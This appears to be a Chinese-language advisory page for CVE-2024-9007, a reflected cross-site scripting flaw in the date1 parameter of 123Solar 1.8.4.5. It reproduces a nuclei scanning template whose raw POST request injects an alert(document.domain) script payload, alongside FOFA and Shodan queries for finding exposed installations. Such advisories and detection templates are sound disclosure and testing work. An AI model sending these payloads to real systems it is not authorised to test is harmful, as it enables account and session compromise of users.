123Solar 跨站可执行脚本漏洞

漏洞信息

漏洞名称: 123Solar 跨站可执行脚本漏洞

漏洞编号:

  • CVE: CVE-2024-9007

漏洞类型: 跨站可执行脚本

漏洞等级: 中危

漏洞描述: 123Solar是一款用于太阳能系统监控的软件,广泛应用于太阳能发电站和家庭太阳能系统中,用于实时监控太阳能板的发电效率和状态。该软件提供了一个web界面,方便用户远程查看和管理太阳能系统的运行情况。在版本1.8.4.5中,存在一个反射型跨站脚本(XSS)漏洞,攻击者可以通过构造恶意的URL,利用未经过滤的用户输入(date1参数)在受害者的浏览器中执行任意JavaScript代码。这种漏洞的根源在于应用程序未能对用户输入进行适当的清理和验证,导致恶意脚本被反射回用户的浏览器并执行。攻击者可以利用此漏洞窃取用户的会话令牌、重定向用户到恶意网站或在用户的上下文中执行其他恶意操作。由于此漏洞需要通过用户交互(如点击恶意链接)来触发,因此其利用复杂度相对较高,但仍对用户的账户安全和隐私构成威胁。

产品厂商: 123solar

产品名称: 123Solar

影响版本: 1.8.4.5

搜索语法: title=”123Solar”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/96f1985e98843601cf36148ade68c99c7a8adbeb/http%2Fcves%2F2024%2FCVE-2024-9007.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

id: CVE-2024-9007

info:
name: 123Solar 1.8.4.5 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
123Solar 1.8.4.5 is vulnerable to reflected cross-site scripting (XSS) via the date1 parameter in detailed.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
reference:
- https://github.com/Hebing123/cve/issues/73
- https://nvd.nist.gov/vuln/detail/CVE-2024-9007
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-9007
cwe-id: CWE-79
cpe: cpe:2.3:a:123solar:123solar:1.8.4.5:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: 123solar
product: 123solar
fofa-query: title="123Solar"
shodan-query: title:"123Solar"
tags: cve,cve2024,xss,123solar

http:
- raw:
- |
POST /123solar/{{path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

date1=01/01/1967'><script>alert(document.domain)</script>&checkavgpower=on&checkPROD=on&checkPERF=on&checkIP1=on&checkIV1=on&checkIA1=on&checkPERF1=on&checkIP2=on&checkIV2=on&checkIA2=on&checkPERF2=on&checkG1P=on&checkG1V=on&checkG1A=on&checkFRQ=on&checkINVT=on&checkBOOT=on&checkEFF=on

payloads:
path:
- 'detailed.php'
- 'indexdetailed.php'

matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "datepickid"
condition: and

- type: word
part: content_type
words:
- 'text/html'

- type: status
status:
- 200


123Solar 跨站可执行脚本漏洞
http://example.com/2025/07/16/github_968464850/
作者
lianccc
发布于
2025年7月16日
许可协议